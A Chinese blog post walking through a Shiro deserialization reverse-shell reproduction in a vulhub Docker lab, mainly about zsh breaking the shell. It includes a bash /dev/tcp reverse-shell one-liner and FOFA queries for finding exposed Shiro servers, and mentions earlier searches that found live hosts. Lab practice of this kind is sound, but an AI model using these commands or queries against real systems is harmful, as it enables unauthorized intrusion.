shiro反序列化復現(續) ---利用docker-vulhub搭建復現(為了打出shell,針對linux系統)


續寫上次那個因為用fofa去搜索發現找出的是windows系統,所以利用nc沒有將shell反彈出來,windows中系統命令反彈還未研究,所以先利用linux系統,更直觀點。

命令腳本再前兩章有寫,可以訪問

https://www.cnblogs.com/hcrk/p/13491714.html

下載使用。

環境搭建:

https://github.com/vulhub/vulhub    docker環境

上一篇沒有寫道用fofa去搜索,在此附上,fofa語法:

header="rememberme=deleteMe"、header="shiroCookie"

直接進入主題,其他操作上一章說的比較清楚,現在只是復現出反彈shell和我踩過的坑。

本人的Ubuntu使用了裝x插件zsh(Oh My Zsh)導致昨天再復現過程中一直彈不出shell。

今天發現問題所在,(其實也可以不是這種問題,但是測試確實可以了)

我是直接進入root權限的,

 

 

是不是感覺有點花里胡哨,哈哈哈。

執行:bash -i >& /dev/tcp/192.168.110.152/6666 0>&1

  

 

 可以發現這個zsh幫bash命令中的/dev/tcp/192.168.110.152/6666當成目錄解析了。所以執行不了。

但是我又發現,我可以直接進入docker那個鏡像容器。

 

 這里並可以執行bash命令。(現在就是原因不明,是我一開始沒有啟用docker這個,但是生成環境這個docker容器自動啟動存在,但是為什么卻反彈不過來呢)

我的結論就是因為zsh不支持,i我利用 就可以。

sudo docker-compos start 

 

 

 

 

 

 所以搭建zsh的小伙伴們要是再做這樣的實驗的話還是利用sudo啟動docker環境。可以直接用root權限還有點問題,也可能你們普通用戶也加了zsh。這是我遇到的問題,不知道有沒有幫助。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM